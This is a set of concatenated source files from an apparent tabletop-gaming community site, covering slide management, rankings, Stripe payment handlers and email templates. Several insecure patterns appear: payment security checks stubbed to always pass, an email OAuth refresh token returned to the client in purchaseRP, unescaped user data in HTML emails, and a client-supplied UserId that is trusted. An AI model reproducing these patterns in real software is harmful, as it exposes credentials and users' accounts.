[], 'formIsActive': false }, () => { if (showForm) { setTimeout(() => { this.setState({ 'formIsActive': true }); }); } }); } showAlert(selector) { const alerts = { 'slideCreated': () => { this.props.addAlert({ 'title': 'New Slide Created', 'message': 'A new slide was successfully added to the homepage slideshow', 'type': 'success', 'delay': 3000 }); }, 'slideUpdated': () => { this.props.addAlert({ 'title': 'Slide Updated', 'message': 'The current slide was successfully updated', 'type': 'success', 'delay': 3000 }); }, 'slideDeleted': () => { this.props.addAlert({ 'title': 'Slide Deleted', 'message': 'The slide was successfully removed', 'type': 'info', 'delay': 3000 }); }, 'uploadSuccess': () => { this.props.addAlert({ 'title': 'Upload Success', 'message': `New file successfully uploaded. Save form to complete transaction.`, 'type': 'success', 'delay': 3000 }); }, 'fileRemoved': () => { this.props.addAlert({ 'title': 'File Deleted', 'message': `File was successfully deleted.`, 'type': 'info', 'delay': 3000 }); } } return alerts[selector](); } toggleDeleteSlideModal(slide, index) { if (slide && index) { slide.index = index; this.setState({ 'slidePendingDeletion': slide, 'deleteSlideModalIsActive': !this.state.deleteSlideModalIsActive }); } } uploadFiles(files) { return uploadFiles(files, '/files/add', 'banner/', { 'identifier': 'bannerImage' }); } render() { return ( <div className="small-12 columns"> <h2>Current Homepage Slides</h2> { this.props.slides.length > 0 ? <table className="stack hover text-center"> <thead> <tr> <th className="text-center">Priority</th> <th className="text-center">Title</th> <th className="text-center">Date Updated</th> <th className="text-center">Edit/Delete</th> </tr> </thead> <tbody> { this.props.slides.map((slide, i) => <tr key={slide.id}> <td>{slide.priority}</td> <td>{slide.title}</td> <td>{formatJSONDate(slide.updatedAt)}</td> <td className="action-items"> <div className="action-item"> <span className="action" onClick={this.editSlide.bind(this, i)}> <i className="tip-icon fa fa-pencil"></i> </span> <span className="mobile-text">Edit</span> </div> { slide.File && <div className="action-item"> <span className="action" onClick={this.toggleDeleteSlideModal.bind(this, slide, i)}> <i className="tip-icon fa fa-times"></i> </span> <span className="mobile-text">Delete</span> </div> } </td> </tr> ) } </tbody> </table> : <h3 className="text-center">Add some slides to update the display on the homepage</h3> } <hr/> <h2>{this.state.currentSlide.id ? 'Edit Slide' : 'Add New Slide'}</h2> <div className="small-12 columns"> { this.state.formIsActive && <Form name="slideForm" submitText={this.state.currentSlide.id ? 'Update Slide' : 'Save New Slide'} handleSubmit={this.handleSubmit}> <div className="row"> <div className="form-group small-12 medium-3 columns"> <label className="required">Title</label> <Input type="text" name="title" value={this.state.currentSlide.title} handleInputChange={this.handleInputChange} required={true} /> </div> <div className="form-group small-12 medium-2 columns"> <label className="required">Priority (slide order)</label> <Input type="number" name="priority" value={this.state.currentSlide.priority} handleInputChange={this.handleInputChange} required={true} /> </div> <div className="form-group small-12 medium-3 columns"> <label className="required">Show in Slideshow?</label> <Select type="text" name="isActive" value={this.state.currentSlide.isActive} handleInputChange={this.handleInputChange} required={true}> <option value="true">Yes</option> <option value="false">No</option> </Select> </div> <div className="form-group small-12 medium-4 columns"> <label className="required">Link (External links must start with //)</label> <Input type="text" name="link" value={this.state.currentSlide.link} handleInputChange={this.handleInputChange} required={true} /> </div> </div> <div className="row"> <div className="form-group small-12 medium-4 columns"> <label className="required">Action Text</label> <Input type="text" name="actionText" value={this.state.currentSlide.actionText} handleInputChange={this.handleInputChange} required={true} /> </div> <div className="form-group small-12 medium-3 columns"> <label className="required">Slideshow Page Name</label> <Input type="text" name="pageName" value={this.state.currentSlide.pageName || 'home'} handleInputChange={this.handleInputChange} required={true} disabled={true}/> </div> <div className="form-group small-12 medium-5 columns"> <label className="required">Callout Text</label> <TextArea type="text" name="text" value={this.state.currentSlide.text} handleInputChange={this.handleInputChange} rows="3" required={true}></TextArea> </div> </div> <div className="row"> <div className="small-12 medium-4 columns"> <label>Banner Image</label> { this.state.files[0] && <div> { this.state.files.length > 0 && this.state.files[0].id && <img src={`/uploads/${this.state.files[0].locationUrl}${this.state.files[0].name}`} /> } </div> } </div> <div className="small-12 medium-4 columns"> <label>Image Name</label> <div> { this.state.files.length > 0 && <h6>{this.state.files[0].name}</h6> } </div> </div> <div className="form-group small-12 medium-4 columns"> <label>Upload File</label> <FileUpload name="slidePhoto" value={this.state.files} handleFileUpload={this.handleFileUpload} handleDeleteFile={this.handleDeleteFile} hideFileList={true} accept="image/*" maxFiles={1} required={1}/> </div> </div> </Form> } <button className="button info" onClick={this.resetForm.bind(this, true)}><span className="fa fa-plus"></span> Add New Slide</button> </div> <Modal name="deleteSlideModalIsActive" title="Delete Slide" modalIsOpen={this.state.deleteSlideModalIsActive} handleClose={this.toggleDeleteSlideModal.bind(this)} showClose={true} handleSubmit={this.handleDeleteSlide} confirmText="Delete Permanently"> Are you sure you want to delete this slide? </Modal> </div> ); } } export default connect(mapStateToProps, mapDispatchToProps)(BannerSlideManagement); <file_sep>/server/routes/handlers/gameSystemRankings.js 'use strict'; import models from '../../models'; import Boom from 'boom'; // Product Route Configs let gameSystemRankings = { createOrUpdate: (request, reply) => { models.GameSystemRanking.findOrCreate({ 'where': { '$and': [{ 'GameSystemId': request.payload.GameSystemId }, { 'UserId': request.payload.UserId } ] }, 'defaults': { 'UserId': request.payload.UserId, 'GameSystemId': request.payload.GameSystemId, 'totalWins': request.payload.totalWins, 'totalDraws': request.payload.totalDraws, 'totalLosses': request.payload.totalLosses } }).spread((gameSystemRanking, created) => { if (created) { models.FactionRanking.findOrCreate({ 'where': { '$and': [{ 'FactionId': request.payload.FactionId }, { 'GameSystemRankingId': gameSystemRanking.id } ] }, 'defaults': { 'FactionId': request.payload.FactionId, 'GameSystemRankingId': gameSystemRanking.id, 'totalWins': request.payload.totalWins, 'totalDraws': request.payload.totalDraws, 'totalLosses': request.payload.totalLosses } }).spread((factionRanking, created) => { if (created) { reply(factionRanking).code(200); } else { factionRanking.increment({ 'totalWins': request.payload.totalWins, 'totalDraws': request.payload.totalDraws, 'totalLosses': request.payload.totalLosses }).then((response) => { reply(response).code(200); }); } }); } else { gameSystemRanking.increment({ 'totalWins': request.payload.totalWins, 'totalDraws': request.payload.totalDraws, 'totalLosses': request.payload.totalLosses }) .then((gameSystemRanking) => { models.FactionRanking.findOrCreate({ 'where': { '$and': [{ 'FactionId': request.payload.FactionId }, { 'GameSystemRankingId': gameSystemRanking.id } ] }, 'defaults': { 'FactionId': request.payload.FactionId, 'GameSystemRankingId': gameSystemRanking.id, 'totalWins': request.payload.totalWins, 'totalDraws': request.payload.totalDraws, 'totalLosses': request.payload.totalLosses } }).spread((factionRanking, created) => { if (created) { reply(factionRanking).code(200); } else { factionRanking.increment({ 'totalWins': request.payload.totalWins, 'totalDraws': request.payload.totalDraws, 'totalLosses': request.payload.totalLosses }).then((response) => { reply(response).code(200); }); } }); }); } }).catch((err) => { throw Boom.badRequest(err); }); }, search: (request, reply) => { let pageSize = request.payload.pageSize || 20; let offset = (request.payload.pageNumber - 1) * pageSize; let searchConfig = { '$and': [ { 'GameSystemId': request.params.id }, { 'UserId': { '$gt': 0 } } ] }; models.GameSystemRanking.findAll({ 'where': searchConfig, 'include': [{ 'model': models.User, 'attributes': ['username', 'id'] }, { 'model': models.GameSystem, 'attributes': ['name'] } ], 'offset': offset, 'limit': request.payload.pageSize, 'order': [ ['totalWins', 'DESC'] ] }) .then((response) => { let results = response; models.GameSystemRanking.findAll({ 'where': searchConfig }).then((rankings) => { let count = rankings.length; let totalPages = Math.ceil(count === 0 ? 1 : (count / pageSize)); reply({ 'pagination': { 'pageNumber': request.payload.pageNumber, 'pageSize': pageSize, 'totalPages': totalPages, 'totalResults': count }, 'results': results }).code(200); }); }); } }; export default gameSystemRankings; <file_sep>/server/email-templates/systemAdminRegistration.js 'use strict'; function buildTemplate(data) { return ` <div style="max-width:800px;position:relative;margin:20px auto;padding:15px;border:2px solid black;box-shadow:0 0 5px 2px lightgray;letter-spacing:1px;background-color:aliceblue;box-shadow: 0 0 2px 1px rgba(31, 31, 33, 0.47);"> <div style="text-align:center;"> <h1 style="font-size:40px; font-size:40px; padding-bottom:5px; margin-top:15px; border-bottom:1px solid #cacaca;">Welcome to Battle-Comm!</h1> <h2 style="font-size:28px">...your new account is pending approval. Expect an update within the next few days.</h2> <h2 style="font-size:24px">Username: ${data.username}</h2> </div> <h4 style="font-size="18px">Welcome to the Community for Table-Top Games,</h4> <p style="font-size:14px">Find access to a worldwide community of dedicated table-top gamers and hobbyists. Battle-Comm is a platform to connect with other players and earn Reward Points that can be applied toward new products and discounts at your friendly local gaming stores. The site is an ever evolving application, that seeks to make your experience better with new features and functionality. During these early stages, don't hesitate to drop us a line if you have recommendations for the application as we begin to move from beta to production.</p> <h4 style="font-size:16px;text-align:center;">Name: ${data.lastName}, ${data.firstName} | Username: ${data.username} | Email: ${data.email} | Role: System Admin</h4> <div style="text-align:center; border-top:1px solid #cacaca; padding:20px 0 0;"> <img src="https://www.battle-comm.net/images/BC_Web_Logo.png"> </div> </div> `; } export default buildTemplate; <file_sep>/src/components/pieces/Footer.jsx 'use strict'; import React from 'react'; import classNames from 'classnames'; import {CSSTransitionGroup as Animation} from 'react-transition-group'; import Modal from '../../library/modal'; export default class Footer extends React.Component { constructor() { super(); this.state = { 'showPrivacyModal': false, 'showCopyrightModal': false } } toggleModal(property, e) { if (e) { e.preventDefault(); } this.setState({ [property]: !this.state[property] }); } render() { return ( <footer> <div className="sub-footer text-center row" id="contact"> <div className="small-12 large-4 columns column-filler"></div> <div className="small-12 large-4 columns"> <img src="/images/Titles/Contact_Us.png" alt="" /> <div className="contact-info"> <h4 className="left">By E-mail: <EMAIL></h4> <h4 className="left">Address: 1250 Howe Ave. #3A</h4> <h4 className="indent left">Sacramento, CA 95825</h4> </div> </div> <div className="small-12 large-4 columns"> <img src="/images/Titles/Follow_Us.png" alt="" /> <div className="social-links"> <a href="https://www.facebook.com/battlecomm" target="_blank"> <span className="fa fa-facebook-square"></span> </a> <a href="https://twitter.com/Battle_Comm" target="_blank"> <span className="fa fa-twitter-square"></span> </a> <a href="https://instagram.com/Battle_Comm" target="_blank"> <span className="fa fa-instagram"></span> </a> </div> </div> </div> <div className="site-footer center"> <div className="copyright">© 2015 Battle-Comm. All Rights Reserved. <br /> <div className="statement-links"> <div className="privacy-policy"><a onClick={this.toggleModal.bind(this, 'showPrivacyModal')}>Privacy Policy</a> ~ </div> <div className="copyright-statement"> <a onClick={this.toggleModal.bind(this, 'showCopyrightModal')} className="open-popup-link">Copyright Statement</a> </div> </div> </div> </div> <Modal name="privacyPolicyModal" title="Privacy Policy" modalIsOpen={this.state.showPrivacyModal} handleClose={this.toggleModal.bind(this, 'showPrivacyModal')} showClose={true} showFooter={false}>Content for Privacy Policy</Modal> <Modal name="copyrightStatementModal" title="Copyright Statement" modalIsOpen={this.state.showCopyrightModal} handleClose={this.toggleModal.bind(this, 'showCopyrightModal')} showClose={true} showFooter={false}>All copyrights belong to their respective owners. Images and text owned by other copyright holders are used here under the guidelines of the Fair Use provisions of United States Copyright Law.</Modal> </footer> ); } } <file_sep>/server/routes/handlers/payments.js 'use strict'; import models from '../../models'; import env from '../../../envVariables'; import Boom from 'boom'; import roleConfig from '../../../roleConfig'; import pointPriceConfig from '../../../pointPriceConfig'; import stripe from 'stripe'; let stripeService = stripe(env.stripe.secret); import buildRPPoolUpdateEmail from '../../email-templates/rpPoolUpdate'; import nodemailer from 'nodemailer'; let transporter = nodemailer.createTransport(({ 'service': 'Gmail', 'auth': { 'type': 'OAuth2', 'clientId': env.email.OAuth2.clientId, 'clientSecret': env.email.OAuth2.clientSecret } })); // Product Route Configs let payments = { createSubscription: (request, reply) => { let plan = JSON.parse(request.payload.plan); let token = request.payload.token ? JSON.parse(request.payload.token) : undefined; models.User.find({ 'where': { '$or': [ { 'email': request.payload.email }, { 'id': request.payload.UserId } ] } }).then((user) => { if (user) { if (user.customerId) { stripeService.subscriptions.create({ 'customer': user.customerId, 'plan': plan.id }, function(error, subscription) { if (error) { reply(Boom.badRequest(error)); } let userConfig = {}; roleConfig.forEach((role) => { if (role.name !== 'public') { userConfig[role.name] = false; } }); if (user.eventAdmin) { userConfig.eventAdminSubscriber = true; } else if (user.member) { userConfig.subscriber = true; } let rpPool = subscription.plan.metadata.rewardPoints ? parseInt(subscription.plan.metadata.rewardPoints, 10) : 0; userConfig.rewardPoints = user.get({ 'plain': true }).rewardPoints + rpPool; user.updateAttributes(userConfig).then(() => { models.UserNotification.create({ 'UserId': request.payload.UserId, 'type': 'newAchievement', 'fromUsername': 'systemAdmin', 'details': subscription.plan.metadata.achievement }).then(() => { reply(subscription).code(200); }); }); }); } else { // Create the user in stripe if (!token.id) { reply(Boom.badRequest('Checkout token is required for new customers')); return; } stripeService.customers.create({ 'email': request.payload.email, 'source': token.id }, (error, customer) => { if (error) { reply(Boom.badRequest(error)); return; } stripeService.subscriptions.create({ 'customer': customer.id, 'plan': plan.id }, function(error, subscription) { if (error) { reply(Boom.badRequest(error)); return; } let userConfig = {}; roleConfig.forEach((role) => { if (role.name !== 'public') { userConfig[role.name] = false; } }); if (user.eventAdmin) { userConfig.eventAdminSubscriber = true; } else if (user.member) { userConfig.subscriber = true; } userConfig.customerId = customer.id; let rpPool = subscription.plan.metadata.rewardPoints ? parseInt(subscription.plan.metadata.rewardPoints, 10) : 0; userConfig.rewardPoints = user.get({ 'plain': true }).rewardPoints + rpPool; user.updateAttributes(userConfig).then(() => { models.UserNotification.create({ 'UserId': request.payload.UserId, 'type': 'newAchievement', 'fromUsername': 'systemAdmin', 'details': subscription.plan.metadata.achievement }).then(() => { reply(subscription).code(200); }).catch((error) => { console.log(error); }); }); }); }); } } else { reply(Boom.notFound('No user found with the supplied e-mail')); } }); }, getSubscriptionPlans: (request, reply) => { stripeService.plans.list( { limit: 100 }, function(error, plans) { if (error) { reply(Boom.badRequest(error)); return; } reply(plans).code(200); } ); }, getCustomer: (request, reply) => { models.User.find({ 'where': { 'id': request.params.id } }).then((user) => { stripeService.customers.retrieve( user.customerId, function(error, customer) { if (error) { reply(Boom.badRequest(error)); } else { reply(customer).code(200); } } ); }) }, payShippingCost: (request, reply) => { let token = JSON.parse(request.payload.token); let shippingCost = request.payload.details.shippingCost; let details = request.payload.details; // TODO: Add extra security check let secure = true; if (secure) { stripeService.charges.create({ 'amount': shippingCost, 'currency': 'usd', 'description': details.description, 'receipt_email': details.email, 'source': token.id, }, function(err, charge) { if (err) { reply(Boom.badRequest(err)); } else { reply(charge).code(200); } }); } else { reply(Boom.badRequest(`Don't fuck with the machine!`)); } }, purchaseRP: (request, reply) => { let token = JSON.parse(request.payload.token); let priceIndex = request.payload.details.priceIndex; let details = request.payload.details; // TODO: Add extra security check let secure = true; if (secure) { stripeService.charges.create({ 'amount': pointPriceConfig[priceIndex].value, 'currency': 'usd', 'description': details.description, 'receipt_email': details.email, 'source': token.id, }, function(err, charge) { if (err) { reply(Boom.badRequest(err)); } else { // Find user and increment reward points models.User.find({ 'where': { 'id': request.params.id } }) .then((user) => { if (user) { user.increment({ 'rpPool': pointPriceConfig[priceIndex].rp }).then((user) => { user = user.get({'plain': true}); let basicUser = { 'id': user.id, 'username': user.username, 'firstName': user.firstName, 'lastName': user.lastName, 'rewardPoints': user.rewardPoints, 'rpPool': user.rpPool, 'service': 'Gmail', 'auth': { 'user': env.email.user, 'refreshToken': env.email.OAuth2.refreshToken } }; let rpMailConfig = { 'from': env.email.user, 'to': user.email, 'subject': `RP Pool Updated: Receipt for ${pointPriceConfig[priceIndex].rp} RP`, 'html': buildRPPoolUpdateEmail(basicUser), 'service': 'Gmail', 'auth': { 'user': env.email.user, 'refreshToken': env.email.OAuth2.refreshToken } }; transporter.sendMail(rpMailConfig, (error, info) => { if (error) { console.log(error); reply(Boom.badRequest('Reward Point Email Failed.')); } reply({ 'user': basicUser, 'charge': charge }).code(200); }); }); } else { reply().code(404); } }).catch((error) => { console.log(error); }); } }); } else { reply(Boom.badRequest(`Don't fuck with the machine!`)); } } }; export default payments; <file_sep>/server/routes/handlers/factions.js 'use strict'; import models from '../../models'; // Product Route Configs let factions = { create: (request, reply) => { models.Faction.create({ 'GameSystemId': request.payload.GameSystemId, 'name': request.payload.name, }) .then((response) => { reply(response).code(200); }); }, update: (request, reply) => { models.Faction.find({ 'where': { 'id': request.params.id } }) .then((faction) => { if (faction) { faction.updateAttributes({ 'name': request.payload.name, }).then((response) => { reply(response).code(200); }); } else { reply().code(404); } }); }, delete: (request, reply) => { models.Faction.destroy({ 'where': { 'id': request.params.id } }) .then((response) => { if (response) { reply().code(200); } else { reply().code(404); } }); } }; export default factions; <file_sep>/src/constants/UserNotificationConstants.js 'use strict'; import keyMirror from 'keymirror'; export default keyMirror({ INITIATE_USER_NOTIFICATION_REQUEST: null, GET_USER_NOTIFICATIONS: null, CREATE_USER_NOTIFICATION: null, UPDATE_USER_NOTIFICATION: null, REMOVE_USER_NOTIFICATION: null }); <file_sep>/src/services/PlayerService.js 'use strict'; let axios = require('axios'); export default { activateAccount: (id) => { return axios.put('/users/' + id + '/activateAccount') .then((response) => { return response.data; }); }, blockUser: (id, data) => { return axios.put('/users/' + id + '/blockUser', data) .then((response) => { return response.data; }); }, getById: (id) => { return axios.get('/users/' + id) .then((response) => { return response.data; }); }, getByUsername: (username) => { return axios.get('/users/username/' + username) .then((response) => { return response.data; }); }, changePassword: (id, data) => { return axios.put('/users/changePassword/' + id, data) .then((response) => { return response.data; }); }, setNewPassword: (token, data) => { return axios.post('/users/setNewPassword/' + token, data) .then((response) => { return response.data; }); }, searchSuggestions: (criteria) => { return axios.post('/search/users/suggestions', criteria) .then(function(response) { return response.data; }); }, resetPassword: (data) => { return axios.post('/users/resetPassword/', data) .then((response) => { return response.data; }); }, update: (id, data) => { return axios.patch('/users/' + id, data) .then((response) => { return response.data; }); }, updateRole: (id, data) => { return axios.put('/users/' + id + '/updateRole', data) .then((response) => { return response.data; }); }, updateRP: (id, data) => { return axios.put('/users/' + id + '/updateRP', data) .then((response) => { return response.data; }); } }; <file_sep>/src/library/utilities/range.js 'use strict'; // NOTE: Returns an array of numbers each with a type of string unless 'typeOfNumber is set to true' const _range = (min, max, typeOfNumber = false) => { let rangeArray = []; for (let i = min; i <= max; i++) { if (typeOfNumber) { rangeArray.push(i); } else { rangeArray.push(`${i}`); } } return rangeArray; }; export default _range; <file_sep>/server/email-templates/pointAssignment.js 'use strict'; function buildTemplate(data, rpPool) { let playerList = data.players; let playerTable = ''; let playerAchievementsTable = ''; let totalEventRP = 0; playerList.forEach(function(player, index) { if (index === 0 || index % 2 === 0) { playerTable += ` <tr style="background-color: #e8e8e8;"> <td style="border:1px solid #dddddd; text-align:left; padding:8px;">${player.fullName}</td> <td style="border:1px solid #dddddd; text-align:left; padding:8px;">${player.email}</td> <td style="border:1px solid #dddddd; text-align:left; padding:8px;">${player.pointsEarned}</td> <td style="border:1px solid #dddddd; text-align:left; padding:8px;">${player.gameSystem}</td> <td style="border:1px solid #dddddd; text-align:left; padding:8px;">${player.faction || 'N/A'}</td> <td style="border:1px solid #dddddd; text-align:left; padding:8px;">${player.totalWins}/${player.totalLosses}/${player.totalDraws}</td> </tr> ` } else { playerTable += ` <tr> <td style="border:1px solid #dddddd; text-align:left; padding:8px;">${player.fullName}</td> <td style="border:1px solid #dddddd; text-align:left; padding:8px;">${player.email}</td> <td style="border:1px solid #dddddd; text-align:left; padding:8px;">${player.pointsEarned}</td> <td style="border:1px solid #dddddd; text-align:left; padding:8px;">${player.gameSystem}</td> <td style="border:1px solid #dddddd; text-align:left; padding:8px;">${player.faction || 'N/A'}</td> <td style="border:1px solid #dddddd; text-align:left; padding:8px;">${player.totalWins}/${player.totalLosses}/${player.totalDraws}</td> </tr> ` } totalEventRP += player.pointsEarned; }); playerList.forEach(function(player, index) { if (player.achievementsList) { if (index === 0 || index % 2 === 0) { playerAchievementsTable += ` <tr style="background-color: #e8e8e8;"> <td style="border:1px solid #dddddd; text-align:left; padding:8px;">${player.fullName}</td> <td style="border:1px solid #dddddd; text-align:left; padding:8px;">${player.achievementsList}</td> </tr> ` } else { playerAchievementsTable += ` <tr> <td style="border:1px solid #dddddd; text-align:left; padding:8px;">${player.fullName}</td> <td style="border:1px solid #dddddd; text-align:left; padding:8px;">${player.achievementsList}</td> </tr> ` } } }); return ` <div style="max-width:800px;position:relative;margin:20px auto;padding:15px;border:2px solid black;box-shadow:0 0 5px 2px lightgray;letter-spacing:1px;background-color:aliceblue;box-shadow: 0 0 2px 1px rgba(31, 31, 33, 0.47);"> <div style="text-align:center;"> <h1 style="font-size:40px; font-size:40px; padding-bottom:5px; margin-top:15px; border-bottom:1px solid #cacaca;">New Reward Point Assignment!</h1> <h2 style="font-size:28px">...from ${data.venueEvent.eventName} on ${data.venueEvent.eventDate}.</h2> <b>The return address for ${data.venueEvent.venueAdmin} is ${data.venueEvent.returnEmail}</b> </div> <h3 style="font-size="24px">Venue: ${data.venueEvent.venueName}</h3> <table style="font-family: arial, sans-serif;border-collapse: collapse;width: 100%;"> <tr> <th style="border:1px solid #dddddd; text-align:left; padding:8px;">Player Name</th> <th style="border:1px solid #dddddd; text-align:left; padding:8px;">E-mail</th> <th style="border:1px solid #dddddd; text-align:left; padding:8px;">Points Earned</th> <th style="border:1px solid #dddddd; text-align:left; padding:8px;">Game System</th> <th style="border:1px solid #dddddd; text-align:left; padding:8px;">Faction</th> <th style="border:1px solid #dddddd; text-align:left; padding:8px;">W/L/D</th> </tr> ${playerTable} </table> <h3 style="font-size="24px">Achievements Awarded</h3> <table style="font-family: arial, sans-serif;border-collapse: collapse;width: 100%;"> <tr> <th style="border:1px solid #dddddd; text-align:left; padding:8px;">Player Name</th> <th style="border:1px solid #dddddd; text-align:left; padding:8px;">Achievements</th> </tr> ${playerAchievementsTable} </table> <h2 style="font-size:28px;text-align:center;">Total Event RP: ${totalEventRP} Reward Points</h2> <h2 style="font-size:28px;text-align:center;">Remaining RP Pool: ${rpPool} Reward Points</h2> <div style="text-align:center; border-top:1px solid #cacaca; padding:20px 0 0;"> <img src="https://www.battle-comm.net/images/BC_Web_Logo.png"> </div> </div> ` } export default buildTemplate; <file_sep>/src/actions/FactionRankingActions.js 'use strict'; import FactionRankingConstants from '../constants/FactionRankingConstants'; import FactionRankingService from '../services/FactionRankingService'; const _initiateRequest = (type, data) => { return { 'type': type, 'data': data }; }; const _returnResponse = (type, data) => { return { 'type': type, 'data': data, 'receivedAt': Date.now() }; }; export default { get: (id) => { return (dispatch) => { dispatch(_initiateRequest(FactionRankingConstants.INITIATE_FACTION_RANKING_REQUEST, id)); return FactionRankingService.get(id).then((factionRanking) => { dispatch(_returnResponse(FactionRankingConstants.GET_FACTION_RANKING, factionRanking)); return factionRanking; }); }; }, getAll: () => { return (dispatch) => { dispatch(_initiateRequest(FactionRankingConstants.INITIATE_FACTION_RANKING_REQUEST)); return FactionRankingService.getAll().then((factionRankings) => { dispatch(_returnResponse(FactionRankingConstants.GET_FACTION_RANKINGS, factionRankings)); return factionRankings; }); }; }, search: (criteria) => { return (dispatch) => { dispatch(_initiateRequest(FactionRankingConstants.INITIATE_FACTION_RANKING_REQUEST)); return FactionRankingService.search(criteria).then((response) => { dispatch(_returnResponse(FactionRankingConstants.GET_FACTION_RANKINGS, response.results)); return response.pagination; }); }; }, create: (data) => { return (dispatch) => { dispatch(_initiateRequest(FactionRankingConstants.INITIATE_FACTION_RANKING_REQUEST)); return FactionRankingService.create(data).then((factionRanking) => { dispatch(_returnResponse(FactionRankingConstants.CREATE_FACTION_RANKING, factionRanking)); return factionRanking; }); }; }, update: (id, data) => { return (dispatch) => { dispatch(_initiateRequest(FactionRankingConstants.INITIATE_FACTION_RANKING_REQUEST)); return FactionRankingService.update(id, data).then((factionRanking) => { dispatch(_returnResponse(FactionRankingConstants.UPDATE_FACTION_RANKING, factionRanking)); return factionRanking; }); }; }, remove: (id) => { return (dispatch) => { dispatch(_initiateRequest(FactionRankingConstants.INITIATE_FACTION_RANKING_REQUEST, id)); return FactionRankingService.remove(id).then((response) => { dispatch(_returnResponse(FactionRankingConstants.REMOVE_FACTION_RANKING, id)); return response; }); }; } }; <file_sep>/compiled-server/chat/handlers/index.js 'use strict'; var sayHello = require('./sayHello.js'); module.exports = { 'sayHello': sayHello };<file_sep>/src/library/validations/components/Form.jsx 'use strict'; import React from 'react'; import ReactDOM from 'react-dom'; import {bindActionCreators} from 'redux'; import {connect} from 'react-redux'; import {withRouter} from 'react-router-dom'; import classNames from 'classnames'; import PropTypes from 'prop-types'; import FormActions from '../actions/FormActions'; const mapStateToProps = (state) => { return { 'forms': state.forms } } const mapDispatchToProps = (dispatch) => { return bindActionCreators({ 'resetForm': FormActions.resetForm }, dispatch) } class Form extends React.Component { constructor() { super(); this.state = { valid: false } this.handleSubmit = this.handleSubmit.bind(this); } componentWillMount() { if (!this.props.isParent && this.props.childForms) { throw new Error('Form component cannot have children without also being a parent.') } } componentDidMount() { // This component will mount before the previous form's Input components unmount and are cleared from the Form Store // This accounts for a route change with the same formName on both routes, preventing overlapping inputs if (this.props.isParent) { if (this.props.childForms) { this.props.childForms.forEach((formName) => { this.props.resetForm(formName); }) } this.props.resetForm(this.props.name); } } handleSubmit(e) { e.preventDefault(); this.props.handleSubmit(e); } render() { let formIsValid = this.props.forms[this.props.name] ? this.props.forms[this.props.name].isValid : false; return ( <div> { this.props.isParent ? <form className={this.props.customClass ? `form ${this.props.customClass}` : 'form'} name={this.props.name} noValidate> {this.props.children} { this.props.submitButton && <div className="row"> <div className="form-group small-12 columns text-right"> <button className="button right info" onClick={this.handleSubmit} disabled={this.props.validity !== undefined ? !this.props.validity : !formIsValid}>{this.props.submitText}</button> </div> </div> } </form> : <div className={this.props.customClass ? `form ${this.props.customClass}` : 'form'} name={this.props.name} noValidate> {this.props.children} { this.props.submitButton && <div className="row"> <div className="form-group small-12 columns text-right"> <button className="button right info" onClick={this.handleSubmit} disabled={this.props.validity !== undefined ? !this.props.validity && !this.props.disabled : !formIsValid && !this.props.disabled}>{this.props.submitText}</button> </div> </div> } </div> } </div> ); } } Form.propTypes = { 'childForms': PropTypes.array, 'customClass': PropTypes.string, 'handleSubmit': PropTypes.func, 'isParent': PropTypes.bool, 'name': PropTypes.string.isRequired, 'submitButton': PropTypes.bool, 'submitText': PropTypes.string, 'validity': PropTypes.bool, 'disabled': PropTypes.bool } Form.defaultProps = { 'submitButton': true, 'submitText': 'Submit', 'isParent': true, 'disabled': false } export default withRouter(connect(mapStateToProps, mapDispatchToProps)(Form)); <file_sep>/compiled-server/routes/api/venues.js 'use strict'; var _joi = require('joi'); var _joi2 = _interopRequireDefault(_joi); var _handlers = require('../handlers'); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } module.exports = [ // Venues { 'method': 'POST', 'path': '/api/venues/assignPoints', 'config': { 'tags': ['api'], 'description': 'Add new points assignment', 'notes': 'Add new points assignment by e-mail', 'auth': { 'strategy': 'jsonWebToken', 'scope': ['member', 'subscriber', 'tourneyAdmin', 'eventAdmin', 'eventAdminSubscriber', 'venueAdmin', 'clubAdmin', 'systemAdmin'] }, 'validate': { 'payload': { 'venueEvent': { 'adminUsername': _joi2.default.string().required(), 'venueName': _joi2.default.string().required(), 'eventName': _joi2.default.string().required(), 'venueAdmin': _joi2.default.string().required(), 'eventDate': _joi2.default.string().required(), 'returnEmail': _joi2.default.string().required() }, 'players': _joi2.default.array().items(_joi2.default.object({ 'fullName': _joi2.default.string().required(), 'email': _joi2.default.string().required(), 'pointsEarned': _joi2.default.number().required(), 'gameSystem': _joi2.default.string().required(), 'faction': _joi2.default.optional(), 'totalWins': _joi2.default.number().optional(), 'totalDraws': _joi2.default.number().optional(), 'totalLosses': _joi2.default.number().optional(), 'achievementsList': _joi2.default.optional() })) } } }, handler: _handlers.venues.create }];<file_sep>/src/actions/GameSystemActions.js 'use strict'; import GameSystemConstants from '../constants/GameSystemConstants'; import GameSystemService from '../services/GameSystemService'; const _initiateRequest = (type, data) => { return { 'type': type, 'data': data }; }; const _returnResponse = (type, data) => { return { 'type': type, 'data': data, 'receivedAt': Date.now() }; }; export default { get: (id) => { return (dispatch) => { dispatch(_initiateRequest(GameSystemConstants.INITIATE_GAME_SYSTEM_REQUEST, id)); return GameSystemService.get(id).then((gameSystem) => { dispatch(_returnResponse(GameSystemConstants.GET_GAME_SYSTEM, gameSystem)); return gameSystem; }); }; }, getAll: () => { return (dispatch) => { dispatch(_initiateRequest(GameSystemConstants.INITIATE_GAME_SYSTEM_REQUEST)); return GameSystemService.getAll().then((gameSystems) => { dispatch(_returnResponse(GameSystemConstants.GET_GAME_SYSTEMS, gameSystems)); return gameSystems; }); }; }, search: (criteria) => { return (dispatch) => { dispatch(_initiateRequest(GameSystemConstants.INITIATE_GAME_SYSTEM_REQUEST)); return GameSystemService.search(criteria).then((response) => { dispatch(_returnResponse(GameSystemConstants.GET_GAME_SYSTEMS, response.results)); return response.pagination; }); }; }, create: (data) => { return (dispatch) => { dispatch(_initiateRequest(GameSystemConstants.INITIATE_GAME_SYSTEM_REQUEST)); return GameSystemService.create(data).then((gameSystem) => { dispatch(_returnResponse(GameSystemConstants.CREATE_GAME_SYSTEM, gameSystem)); return gameSystem; }); }; }, update: (id, data) => { return (dispatch) => { dispatch(_initiateRequest(GameSystemConstants.INITIATE_GAME_SYSTEM_REQUEST)); return GameSystemService.update(id, data).then((gameSystem) => { dispatch(_returnResponse(GameSystemConstants.UPDATE_GAME_SYSTEM, gameSystem)); return gameSystem; }); }; }, remove: (id) => { return (dispatch) => { dispatch(_initiateRequest(GameSystemConstants.INITIATE_GAME_SYSTEM_REQUEST, id)); return GameSystemService.remove(id).then((response) => { dispatch(_returnResponse(GameSystemConstants.REMOVE_GAME_SYSTEM, id)); return response; }); }; } }; 